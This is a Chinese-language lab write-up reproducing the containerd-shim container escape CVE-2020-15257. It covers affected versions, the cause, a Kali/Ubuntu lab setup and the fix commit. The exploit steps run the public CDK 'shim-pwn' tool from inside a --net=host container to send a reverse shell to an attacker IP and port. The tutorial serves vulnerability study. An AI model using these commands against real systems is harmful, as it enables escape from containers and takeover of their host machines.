CVE-2020-15257 Docker 容器逃逸复现
一、漏洞概述
Docker 逃逸指在 Docker 容器内部可以操作该容器的外部资源,一般理解为操作宿主机的行为。
Containerd 是一个工业级标准的容器运行组建,它强调简单性、健壮性和可移植性。Containerd 可以在宿主机中管理完整的容器生命周期:容器镜像的传输和存储、容器的执行和管理、存储和网络等。
- containerd < 1.4.3
- containerd < 1.3.9
三、漏洞原理
docker容器以“--net=host”启动会暴露containerd-shim监听的 Unix 域套接字,与宿主机共享net namespace,且其中的unix socket可以被容器内部访问到。攻击者若是通过socket+API控制下游的Runc启动新的镜像,则可以通过该镜像逃逸。详细原理参见大佬文章——https://mp.weixin.qq.com/s/iNziquZJxcox9453jF8LOg
四、漏洞复现环境
Kali Linux + Ubuntu
渗透机:Kali Linux
靶机:Ubuntu
五、实验步骤
1.搭建实验环境
(1)Ubuntu内安装指定版本的docker
sudo apt-get install ca-certificates curl software-properties-common # sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add - #添加 Docker 的官方 GPG 密钥 sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable" #设置稳定版仓库 sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1 #指定docker版本
2.漏洞复现
(1)下载容器
docker pull ubuntu:18.04
(2)通过--net=host 作为启动参数来运行一个容器
sudo docker run -itd --net=host ubuntu:18.04 /bin/bash
(3)查看当前运行中的容器,记下id
docker ps -a
(4)这里自己搞不定,利用一下github上的Exp:https://github.com/cdk-team/CDK/releases/tag/0.1.6
(5)将下载好的压缩包解压,然后copy进docker容器
docker cp cdk_linux_amd64 d8b74813546e:/tmp
(6)kali打开4216端口监听
(7)容器中运行下面指令执行Exp,可以看到kali中反弹得到shell,逃逸实现成功
./cdk_linux_amd64 run shim-pwn 192.168.117.131 4216
(8)可以看到主机(上)和容器内(下)的socket一致,也证明了漏洞是存在的~
六、修复方式
Docker 官方 commit:https://github.com/containerd/containerd/commit/269548fa27e0089a8b8278fc4fc781d7f65a939b